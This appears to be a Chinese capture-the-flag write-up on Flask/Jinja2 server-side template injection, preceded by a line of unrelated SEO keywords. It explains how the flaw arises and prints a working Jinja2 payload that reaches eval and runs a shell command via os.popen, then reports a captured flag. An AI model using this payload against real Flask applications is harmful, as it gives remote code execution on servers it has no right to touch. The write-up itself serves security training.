wordpress建站上传不了图片,优秀网站配色,互联网c2c交易类网站详细策划书,网上免费推广目录
漏洞描述
模板注入漏洞如何产生#xff1f;
漏洞检测
漏洞利用
get flag
编辑 漏洞描述 Flask框架#xff08;jinja2#xff09;服务端模板注入漏洞分析#xff08;SSTI#xff09; Flask 是一个 web 框架。也就是说 Flask 为您提供工具、库和技术来允许您构…目录
漏洞描述
模板注入漏洞如何产生
漏洞检测
漏洞利用
get flag
编辑 漏洞描述 Flask框架jinja2服务端模板注入漏洞分析SSTI Flask 是一个 web 框架。也就是说 Flask 为您提供工具、库和技术来允许您构建一个 web 应用程序。 这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。 Flask 属于微框架micro-framework这一类别微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点优点是框架很轻量更新时依赖少并且专注安全方面的 bug缺点是您不得不自己做更多的工作或通过添加插件增加自己的依赖列表。 服务器端模板注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中然后在服务器端执行该模板。 模板引擎旨在通过将固定模板与易失性数据结合来生成网页。当用户输入直接连接到模板中而不是作为数据传递时可能会发生服务器端模板注入攻击。这使攻击者可以注入任意模板指令以操纵模板引擎从而经常使攻击者能够完全控制服务器。顾名思义服务器端模板注入有效载荷是在服务器端交付和评估的这可能使它们比典型的客户端模板注入更加危险。 题目是关于模板注入漏洞的
模板注入漏洞如何产生
当用户输入被串联到模板中而不是作为数据传递时服务器端模板注入漏洞就会出现。 简单来说也就是不正确的使用flask中的render_template_string方法会引发SSTI。 仅提供占位符并在其中呈现动态内容的静态模板通常不容易受到服务器端模板注入的攻击。经典示例是一封电子邮件其中用每个用户的名字打招呼例如Twig模板中的以下摘录
$output $twig-render(Dear {first_name},, array(first_name $user.first_name) );这不易受到服务器端模板注入的影响因为用户的名字仅作为数据传递到模板中。但是由于模板只是字符串因此Web开发人员有时会在呈现之前将用户输入直接连接到模板中。让我们以与上述示例类似的示例为例但是这次用户可以在发送电子邮件之前自定义部分电子邮件。例如他们也许可以选择使用的名称
$output $twig-render(Dear . $_GET[name]);在此示例中不是将静态值传递到模板中而是使用GET参数动态生成模板本身的一部分name。在服务器端评估模板语法时这可能使攻击者可以按以下方式将服务器端模板注入有效负载放置在name参数中
http://xxx/?name{{bad-stuff-here}}
漏洞检测 通过poc检测发现存在模板注入漏洞 漏洞利用 我们只需要在注入点内写入指定的python payload即可触发代码执行漏洞 payload {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ catch_warnings %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ {}.__class__ %} {% if eval in b.keys() %} {{ b[eval](__import__(os).popen(id).read()) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} 我们可以看到触发了代码执行漏洞我们就可以就行执行任意代码了 get flag 当我们尝试打印出环境变量时发现flag flag{8a1814aa-85bc-4fb8-b8a6-9699315af136}